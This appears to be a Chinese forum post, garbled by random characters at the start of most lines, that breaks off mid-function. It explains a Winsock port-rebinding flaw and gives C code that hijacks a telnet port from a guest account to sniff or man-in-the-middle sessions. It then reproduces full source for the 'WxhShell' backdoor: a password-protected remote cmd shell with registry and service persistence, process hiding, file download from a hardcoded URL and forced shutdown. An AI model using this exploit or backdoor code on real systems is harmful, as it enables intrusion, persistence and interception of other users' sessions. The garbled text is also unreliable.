在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ZH}NlEn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ho20>vw# )m'_>-`^: saddr.sin_family = AF_INET;
P\AH9#XL ..T(9]h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]OrFW4tiE r{TNPa6! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
x$Oz0 [ B.G!7>= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f2u2Ns0Ym \\lC"Z#J` 这意味着什么?意味着可以进行如下的攻击:
#NE^f2 *Vc=]Z2G^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Tk!b`9 `o3d@Vc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\k,bz0 M/DTD98'N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9F+bWo_m >ahj|pm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
j41:]6 i\Vpp8<B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
NN:TT\!v ;MMFF { 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
</=PN1=A c[y8"M5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
U .Od bGJUu# #include
{
&'TA #include
@j
(jOe #include
:kVV.a#g #include
nGbrWu]w DWORD WINAPI ClientThread(LPVOID lpParam);
sy?>e*-{ int main()
!kcg#+s91 {
B1M/5cr. WORD wVersionRequested;
FSmi.7 DWORD ret;
@Y,F&8a$ WSADATA wsaData;
Hj\~sR$L- BOOL val;
aOHCr>po, SOCKADDR_IN saddr;
ul?BKV+3E SOCKADDR_IN scaddr;
qLP+@wbJ int err;
=c,gK8C SOCKET s;
X]fw9tZ SOCKET sc;
V~_nyjrJM int caddsize;
PsgzDhRv HANDLE mt;
m?j!0> DWORD tid;
9C$!tz>>+i wVersionRequested = MAKEWORD( 2, 2 );
#{M
-3 err = WSAStartup( wVersionRequested, &wsaData );
5a
~tp' if ( err != 0 ) {
*o[%?$8T printf("error!WSAStartup failed!\n");
jvV8`BQ{ return -1;
z~H Gc"~ }
injmP9ed saddr.sin_family = AF_INET;
X
w8il ptR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]#$kA9 _}&]`,s> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3CE8+PnT saddr.sin_port = htons(23);
kpH;D=; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hwzUCh 5! {
JY2
F-0t) printf("error!socket failed!\n");
j''Iai_ return -1;
?iX=2- }
/;rN/ot2o val = TRUE;
32iI :u //SO_REUSEADDR选项就是可以实现端口重绑定的
-W_s]oBg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
swlWe}1 {
,}tdfkZFYl printf("error!setsockopt failed!\n");
qN[7zsaj return -1;
\.c
)^QQ }
Hg`{9v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mM}Ukmy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|T_Pz&- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@vYmkF` !C#RW=h9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
C._sgO {
ak) -OL1 ret=GetLastError();
X~he36-+< printf("error!bind failed!\n");
5}xni return -1;
tb0E?&M }
Yp]G)}'R listen(s,2);
(AG while(1)
2<G1'7) {
m@.{zW7bO caddsize = sizeof(scaddr);
$Je"z]cy- //接受连接请求
1Wk
EPj, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
8 tygs if(sc!=INVALID_SOCKET)
ms7 7{A3 {
kqW<e[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
5ek%d if(mt==NULL)
g&3#22z {
+MZO%4 printf("Thread Creat Failed!\n");
$p3Wjf:bH break;
1?RCJ]e5 }
4)HWPX }
AC:s4iacC CloseHandle(mt);
RzRvu]]8 }
_S2^;n? closesocket(s);
d?M!acB WSACleanup();
Tn0l|GRuZA return 0;
U|7Qw|I7 }
|3:=qpT- DWORD WINAPI ClientThread(LPVOID lpParam)
> &vO4L {
$U1kP?pR SOCKET ss = (SOCKET)lpParam;
Ws*PMK.0 SOCKET sc;
<
}wAP_y unsigned char buf[4096];
n
[Xzo} SOCKADDR_IN saddr;
Ik5jwfz long num;
e( o/we{ DWORD val;
R96o8#7Uv DWORD ret;
@B'8SLoP //如果是隐藏端口应用的话,可以在此处加一些判断
bsi q9$F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<
mK saddr.sin_family = AF_INET;
'?G[T28 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,(0XsBL saddr.sin_port = htons(23);
[k~+(.2I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oT)VOkFq {
[du>ff printf("error!socket failed!\n");
)fMX!#KP return -1;
\U*-w:+@ }
V2s}<uG val = 100;
gQh Ccv if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
reM {
dA)4(0o8fD ret = GetLastError();
rrY{Jf9> return -1;
H'0*CiHes }
Sd\IGy{a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K-EI?6`xM {
12d}#G<q- ret = GetLastError();
%wjB)Mae return -1;
(L0hS' }
mrhp)yF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@oz& {
dI0bTw|s/ printf("error!socket connect failed!\n");
[ lzy &To closesocket(sc);
rF'^w56 closesocket(ss);
R'9@A\7# return -1;
%V %#y $l }
JQ@`EV9, while(1)
F%.9fUo {
v!#`W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&Ev]x2YC //如果是嗅探内容的话,可以再此处进行内容分析和记录
kh?#={]Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
o?va#/fk num = recv(ss,buf,4096,0);
f1Yv hvWL if(num>0)
1V**QSZ1 send(sc,buf,num,0);
/SCZ& else if(num==0)
tT* W5 break;
YZBzv2'\x num = recv(sc,buf,4096,0);
n.a=K2H:V if(num>0)
nrS[7~ send(ss,buf,num,0);
LN.Bd, else if(num==0)
(]}x[F9l break;
cPx~|,)l }
XY!{ g( closesocket(ss);
_
7BF+*T closesocket(sc);
*H%0Gsk return 0 ;
6>=-/)p} }
$
o5V$N D V|3yZ8lE :^H9W^2 ==========================================================
Zc4(tf9 AU\xNF3 下边附上一个代码,,WXhSHELL
t*Vao j$|j8? ==========================================================
qP;{3FSkAF d(X\B{ #include "stdafx.h"
K#l
-? 5DkK'tCI9Z #include <stdio.h>
. QQ?w #include <string.h>
zL)1^[%O9 #include <windows.h>
-t%{"y #include <winsock2.h>
Iuu<2#gb8" #include <winsvc.h>
4T==A#Z #include <urlmon.h>
+Mk*{A t sd]54&3A #pragma comment (lib, "Ws2_32.lib")
PG^j} #pragma comment (lib, "urlmon.lib")
&?/N}g@K +QIGR'3u #define MAX_USER 100 // 最大客户端连接数
,#E3,bu6_4 #define BUF_SOCK 200 // sock buffer
:$M9XZ~\ #define KEY_BUFF 255 // 输入 buffer
T.Pklty L9{mYA]q #define REBOOT 0 // 重启
;L
G
%s #define SHUTDOWN 1 // 关机
p|h.@do4 GhG%>U#&a #define DEF_PORT 5000 // 监听端口
&547`* BaWQ<T8p8 #define REG_LEN 16 // 注册表键长度
[!J
@a #define SVC_LEN 80 // NT服务名长度
Q?
<-`7 ?qf:_G // 从dll定义API
ch0oFc$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:(bdI] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1P[I}GW# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2?Pt Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q$xa Em~7D]Y // wxhshell配置信息
}g>dn struct WSCFG {
HF&h int ws_port; // 监听端口
7oZ@<QP' char ws_passstr[REG_LEN]; // 口令
nd $H
3sf int ws_autoins; // 安装标记, 1=yes 0=no
LN@E\wRw{r char ws_regname[REG_LEN]; // 注册表键名
aW0u8Dz char ws_svcname[REG_LEN]; // 服务名
RNv{n
mf char ws_svcdisp[SVC_LEN]; // 服务显示名
t(J![wB} char ws_svcdesc[SVC_LEN]; // 服务描述信息
0Y5LDP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v%H"_T int ws_downexe; // 下载执行标记, 1=yes 0=no
*F\T}k7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
mJ0}DJiX$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
x[vpoB+c g(-;_j!= };
Ci]'G>F@" 2YL`3cgfb // default Wxhshell configuration
Q3'fz 9v struct WSCFG wscfg={DEF_PORT,
4*0:bhhhf_ "xuhuanlingzhe",
H!u nIy| 1,
M|/oFV "Wxhshell",
Np.no$_ "Wxhshell",
Zg)_cRR "WxhShell Service",
)ZT6:) "Wrsky Windows CmdShell Service",
=dgo!k "Please Input Your Password: ",
~A8qeaP 1,
4t&gW "
http://www.wrsky.com/wxhshell.exe",
?!bd!:(N "Wxhshell.exe"
vC)"*wYB{ };
X}zX`]:I' Pv< QjY // 消息定义模块
M0cd-Dn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
TA Ftcs: char *msg_ws_prompt="\n\r? for help\n\r#>";
G;2R]H#p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I*^5'N' char *msg_ws_ext="\n\rExit.";
C-Nuy1o char *msg_ws_end="\n\rQuit.";
kcLj Kp char *msg_ws_boot="\n\rReboot...";
8h*t55 char *msg_ws_poff="\n\rShutdown...";
`+roQX.p char *msg_ws_down="\n\rSave to ";
C1h#x'k y\^@p=e char *msg_ws_err="\n\rErr!";
O {PW char *msg_ws_ok="\n\rOK!";
#$LH2?) rlR
!& char ExeFile[MAX_PATH];
seu
~'s- int nUser = 0;
9.xvV|Sp HANDLE handles[MAX_USER];
Z8&4z.6_ int OsIsNt;
WHp97S'd MQwIPjk8 SERVICE_STATUS serviceStatus;
vTpStoUM SERVICE_STATUS_HANDLE hServiceStatusHandle;
X.s*>' JT4wb]kdV // 函数声明
JDkCUN 5 int Install(void);
'#O;mBPNi int Uninstall(void);
~V @;(_T int DownloadFile(char *sURL, SOCKET wsh);
X6Un;UL int Boot(int flag);
p`d
XqW void HideProc(void);
^:m^E0(H int GetOsVer(void);
p= {Jf}v int Wxhshell(SOCKET wsl);
`-4'/~G void TalkWithClient(void *cs);
EbCIIMbe" int CmdShell(SOCKET sock);
K'x4l,rq int StartFromService(void);
`q%U{IR int StartWxhshell(LPSTR lpCmdLine);
dw~[9oh ):3MYSqX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
a* D,*C5} VOID WINAPI NTServiceHandler( DWORD fdwControl );
v9u<F6 ERF,tLa! // 数据结构和表定义
!6M Bxg > SERVICE_TABLE_ENTRY DispatchTable[] =
ar Q)%W {
%Nj #0YF] {wscfg.ws_svcname, NTServiceMain},
kB8
M i {NULL, NULL}
N*Yy&[ };
/dLA`=r Zx $K})Q3FNi // 自我安装
d]8_l1O int Install(void)
K]X`sH: {
yk<VlS char svExeFile[MAX_PATH];
Mal <iNN HKEY key;
ba8 6 N strcpy(svExeFile,ExeFile);
,I ZqLA "lTZ|k^ // 如果是win9x系统,修改注册表设为自启动
'qjX$]H if(!OsIsNt) {
'fIHUw| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rOW;yJ[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Kv}k*A% S RegCloseKey(key);
%MN.O-Lc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e8oKn& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fe|g3>/| RegCloseKey(key);
S.: 7k9 return 0;
6JSY56v }
EJ`Q8uz }
:/6()_>bO }
s
_~IZ%+<. else {
A#(`9 ur6e&bTp // 如果是NT以上系统,安装为系统服务
bw9
nB{C< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]BfS270 if (schSCManager!=0)
-^Xy% {
-j&Vtr SC_HANDLE schService = CreateService
.Rvf/-e (
8.yCA schSCManager,
c_#*mA"+ wscfg.ws_svcname,
1fY>>*oP wscfg.ws_svcdisp,
><=rIhG%H@ SERVICE_ALL_ACCESS,
}z
wX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Yrxk Kw# SERVICE_AUTO_START,
LKx` v90p SERVICE_ERROR_NORMAL,
G=|70pxU svExeFile,
eRs&iK2y NULL,
?eV_ACpZ8 NULL,
Q ]"jD#F NULL,
=2%VZE7Vm NULL,
$eBQH NULL
o&z!6"S< );
3C M^j<9 if (schService!=0)
Q.A \U>AgV {
0 _A23.Y CloseServiceHandle(schService);
hU"F;4p CloseServiceHandle(schSCManager);
Jt]&;0zn2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
SNab
strcat(svExeFile,wscfg.ws_svcname);
zJY']8ah if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hsz^rZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$3k
"WlRG RegCloseKey(key);
n(>C'<otj return 0;
8}BS2C%P }
2 z7}+lH }
&s8<6P7 CloseServiceHandle(schSCManager);
#byJqy&e }
?v4E<iXs }
59<hV? zsVcXBz return 1;
=((yWn+t }
OPuj|%Wgw OxQYNi2 // 自我卸载
'Jydu int Uninstall(void)
% :/_ f {
3z3_7XI HKEY key;
.'j29 6[u
$:EG%jl if(!OsIsNt) {
VI_+v[Hk/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]
8Tzr RegDeleteValue(key,wscfg.ws_regname);
b7Oj<!Wo` RegCloseKey(key);
"|t!7hC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sn"fK=,#g RegDeleteValue(key,wscfg.ws_regname);
SkHYXe"] RegCloseKey(key);
{x{H$ f return 0;
#{*LvI& }
xE1'&!4O }
ZzcPiTSO }
V_"f|[1 else {
AnMV < dZ]Rqr
_! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
W`M6J}oG if (schSCManager!=0)
,mKObMu {
yMxTfR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B!;+_%P76 if (schService!=0)
"IFgRaP= {
/ t5p- if(DeleteService(schService)!=0) {
W~ruN4q. CloseServiceHandle(schService);
4h8*mMghs CloseServiceHandle(schSCManager);
m Ni2b*k return 0;
2*2:-ocl$ }
SK
R1E];4 CloseServiceHandle(schService);
%e?fH.) }
1e}8LH7 CloseServiceHandle(schSCManager);
0<.RA%dj }
"0Q1qZ }
.Djta|puu sgAzL return 1;
XAuI7e }
"=A>}q@;H rs]I // 从指定url下载文件
Lm6**v int DownloadFile(char *sURL, SOCKET wsh)
u =J&~ {
~L{l+jK$p HRESULT hr;
VkZ.6kV char seps[]= "/";
=Op+v" char *token;
`1+F,&e char *file;
_<*Hv*Zm char myURL[MAX_PATH];
)`+YCCa6F char myFILE[MAX_PATH];
pe.QiMW{8 `A)"%~ strcpy(myURL,sURL);
M%`\P\A token=strtok(myURL,seps);
dRaO Gm) while(token!=NULL)
41Ve}% {
=\3Tv file=token;
mLyBm token=strtok(NULL,seps);
i9 A ~< }
[4Q"#[V&9 2k5/SV
X GetCurrentDirectory(MAX_PATH,myFILE);
$yu?.b
9H# strcat(myFILE, "\\");
ub K7B |p strcat(myFILE, file);
rv7{Ow_Y send(wsh,myFILE,strlen(myFILE),0);
z|N3G E(.@ send(wsh,"...",3,0);
3BQ!qO17^d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Q5a)}6-5 if(hr==S_OK)
yI3kvh return 0;
BRv x[u else
d@ Ja}` return 1;
|E3X ynwG\V }
rs;r
$ QHlU|dR)Ry // 系统电源模块
#hw>tA6 int Boot(int flag)
d~9!,6XM {
0
n
vSvk HANDLE hToken;
1G^#q,%X_v TOKEN_PRIVILEGES tkp;
Um.qRZ? ae+*=, if(OsIsNt) {
yj_4gxJ\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
w_wslN,) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
iG<Som tkp.PrivilegeCount = 1;
l"+Jc1\ X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W+=o&V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J'T=q/ if(flag==REBOOT) {
?cy4&]s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L.'}e{ldW return 0;
l.+yn91%> }
s60
TxB else {
L{fFC%|l2L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Hi}RZMr1 return 0;
p&b5% 4P }
~d
>W?A }
v&
$k9)] else {
`3_lI~=eH if(flag==REBOOT) {
WyhhCR=; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f 2YLk return 0;
b Bc- ^ }
]9 w76Z else {
f!_
ctp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
SU.ythU2,c return 0;
MXtkP1A` }
3'`dFY, }
/j2H A^GT #q\x$ return 1;
K`-!uZW:B7 }
F7*wQ{~ #]Y>KX2HG // win9x进程隐藏模块
mN_Z7n;^eh void HideProc(void)
c3TKl/ {
G&f8n jM)C4ii.-$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
k@mVxnC if ( hKernel != NULL )
4=8QZf0\ {
\;X+X,M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
GX{XdJD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Fr2N[\>s FreeLibrary(hKernel);
K4ZolWbU }
eOT+'[3" J @IS\9O return;
qQ]]~F }
]; $] G- C#0Qd% // 获取操作系统版本
Ah69
_>N`S int GetOsVer(void)
xg@NQI@7 {
),}AI/j;zY OSVERSIONINFO winfo;
?/hZb"6W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yR5XJ;Tct GetVersionEx(&winfo);
ne}+E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
oXsL9, return 1;
E0n6$5Uc? else
8 .>/6M return 0;
l `9t} }
0#o/ ^Ah k(VB+k"3 // 客户端句柄模块
6A
R2htN^ int Wxhshell(SOCKET wsl)
q!~ -(&S {
&EGqgNl SOCKET wsh;
o+B:#@9? struct sockaddr_in client;
\c,pEXG DWORD myID;
bPKOw< y]
oaO+ while(nUser<MAX_USER)
Io`P,l: {
qy1F*kY int nSize=sizeof(client);
&<TzGB* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Hy:V`> if(wsh==INVALID_SOCKET) return 1;
YIhm$A"z0" +EXJ\wy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y*oDO$6 if(handles[nUser]==0)
uP $Cj closesocket(wsh);
zw<p74DH else
. 5y"38e nUser++;
K BE Ax3 }
B;6]NCxD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9LnN$e X!hIwi A,t return 0;
E(pF:po }
{PU!=IkTS 'wasZ b<^ // 关闭 socket
UB`ToE|Ii void CloseIt(SOCKET wsh)
m><w0k?t {
N7r_77%m0 closesocket(wsh);
`$LWmm# nUser--;
6DIZ@ oi ExitThread(0);
g6t"mkMY
L }
/hrT lA(Q@yEW // 客户端请求句柄
2zSG&",2D void TalkWithClient(void *cs)
o Pci66 {
QS.>0i/7l R:-JkV>e: SOCKET wsh=(SOCKET)cs;
^)!F9h+ char pwd[SVC_LEN];
:# E*Y8- char cmd[KEY_BUFF];
@:0ddb71 char chr[1];
@!N-RQ&A int i,j;
_ZB\L^j) Gl %3XdU while (nUser < MAX_USER) {
>Hb^P)3 KOq;jH{$ if(wscfg.ws_passstr) {
moj]j`P5a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/
O/`< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7M_U2cd|TD //ZeroMemory(pwd,KEY_BUFF);
gbeghLP[? i=0;
/I5X"x while(i<SVC_LEN) {
:AdDLpk3j -~[9U, // 设置超时
MTER(L fd_set FdRead;
mP38T{ struct timeval TimeOut;
Jb)#fH$L FD_ZERO(&FdRead);
hf/2vt
m FD_SET(wsh,&FdRead);
]?1Y
e8>Y< TimeOut.tv_sec=8;
Snly UP~P TimeOut.tv_usec=0;
Pz#7h*;cw. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qSqI7ptA\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
keW~ NM PP~rn fE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4D%9Rc0 G pwd
=chr[0]; '3]p29v{
if(chr[0]==0xd || chr[0]==0xa) { g[
0<m#"
pwd=0; v0D q@Q1
break; &c(WE
RW?-
} $mmup|;(
i++; >h2%[j=
} uJHu>M}~
v[@c*wo
// 如果是非法用户,关闭 socket 87)zCq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ l1
} +x?#DH-
$8USyGi3J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m=AqV:%|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SVlua@]ChU
Ok7t@l$
while(1) { Z@8vL
f'I z
G.R
ZeroMemory(cmd,KEY_BUFF); .x`M<L#M(
\;-fi.Hrf$
// 自动支持客户端 telnet标准 |6UtW{2I/
j=0; \$aF&r<R
while(j<KEY_BUFF) { 9`jcC-;iv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fJ\sguZ
cmd[j]=chr[0]; ^_t%kmL`
if(chr[0]==0xa || chr[0]==0xd) { )VCzn~uf
cmd[j]=0; P1b'%
break; pL1Q7&&c0
} 6iEhsL&K
j++; zf4Ec-)
} fPi3sb`}
\T]EZ'+O
// 下载文件 f\+fo
if(strstr(cmd,"http://")) { Iz6y{E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #j#_cImE
if(DownloadFile(cmd,wsh)) |py6pek|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uPYmHA}_/
else gj\)CBOv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q#Zs\PD
} ZvYLL{>}w
else { j*e6vX
mNf8kwr
switch(cmd[0]) { pME{jD
ZKQ hbNT
// 帮助 bWl5(S` Z
case '?': { 4L-:*b_v\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AM"Nn
L"
break; ^l^fD t
} J$4wL
F3
// 安装 H/M Au7
case 'i': { Z3k(P
if(Install()) /vY_Y3k#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87}&`
else fP3_d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9_\'LJ
break; 6.5T/D*TT
} {X2`&<i6
// 卸载 BR'I+lQ
case 'r': { ,BF E=:ZIK
if(Uninstall()) "fg](Cp[z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nA|.t[v
else S[tE&[$(p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nf1#tlIJd
break; K.G$]H
} f:g,_|JD$
// 显示 wxhshell 所在路径 d=,%=@
case 'p': { bifS 2>c
char svExeFile[MAX_PATH]; ]M)O YY
strcpy(svExeFile,"\n\r"); 1)}=bhT
strcat(svExeFile,ExeFile); ^8 ' sib
send(wsh,svExeFile,strlen(svExeFile),0); J--m[X
break; Ggh.dZI4
} MYBx&]!\
// 重启 yCJ Fo
case 'b': { r ]W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7nbB^2
if(Boot(REBOOT)) _#$*y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?JV|dM
else { U yw-2]!n
closesocket(wsh); s5RjIa0$7
ExitThread(0); pLMRwgzr
} :Rs^0F8)c
break; "MIq.@8ra
} <I}2k
// 关机 )}TLC 2%
case 'd': { )CX4kPj
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @fuM)B1"
if(Boot(SHUTDOWN))
)>D+x5o]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g}p;\o
else { V\V)<BARe
closesocket(wsh); \4"S7.% |
ExitThread(0); `@i5i((
} "cTncL
break; +(uYwdcN
} 2F%W8Y3
// 获取shell /-6S{hl9Ne
case 's': { DzQ1%!
CmdShell(wsh); $3Z-)m
closesocket(wsh); GE>[*zN
ExitThread(0); 7bxA]s{m
break; gyS+9)gY
} )
'j:
// 退出 9WJz~SP+vR
case 'x': { E~<`/s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IrMl:+t\
CloseIt(wsh); RE.r4uOJg
break; uxg9yp@|
} X0-IRJ[
// 离开 dD<fn9t
case 'q': { TO2c"7td
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mg#j3W}]
closesocket(wsh); 2MA]j T
WSACleanup(); 9w9jpe#
exit(1); )otb>w5
break; DO7W}WU
} r_EcMIuk
} fw oQ'&
} 8A{_GH{:
qyHZ M}/
// 提示信息 nUq<TJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [![%9'+P
} c*d9'}E
} 3:%QB9qc]'
j@Qg0F
return; &R~n>>c
} qo)?8kx>l
yfU<UQ!1
// shell模块句柄 Pmi#TW3X
int CmdShell(SOCKET sock) = 07Gy, =i
{ (;VVCAoy
STARTUPINFO si; `Q+moX
ZeroMemory(&si,sizeof(si)); kj+#TnF-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VL[)[~^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gPC*b+
PROCESS_INFORMATION ProcessInfo; }HEvr)v9
char cmdline[]="cmd"; >zkRcm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @pGZLq
return 0; 7FN<iI&7\
} W4;m H}#0
gn5)SP 8
// 自身启动模式 K;7f?52
int StartFromService(void) o;b0m;~
{ :V)lbn\
typedef struct C0=9K@FCb
{ H"2uxhdLK3
DWORD ExitStatus; F_xbwa*=
DWORD PebBaseAddress; M8k"je7`s
DWORD AffinityMask; 7?OH,^
DWORD BasePriority; `RMI(zI3g.
ULONG UniqueProcessId; DoC(Z)o
ULONG InheritedFromUniqueProcessId; >pkT1Z&'
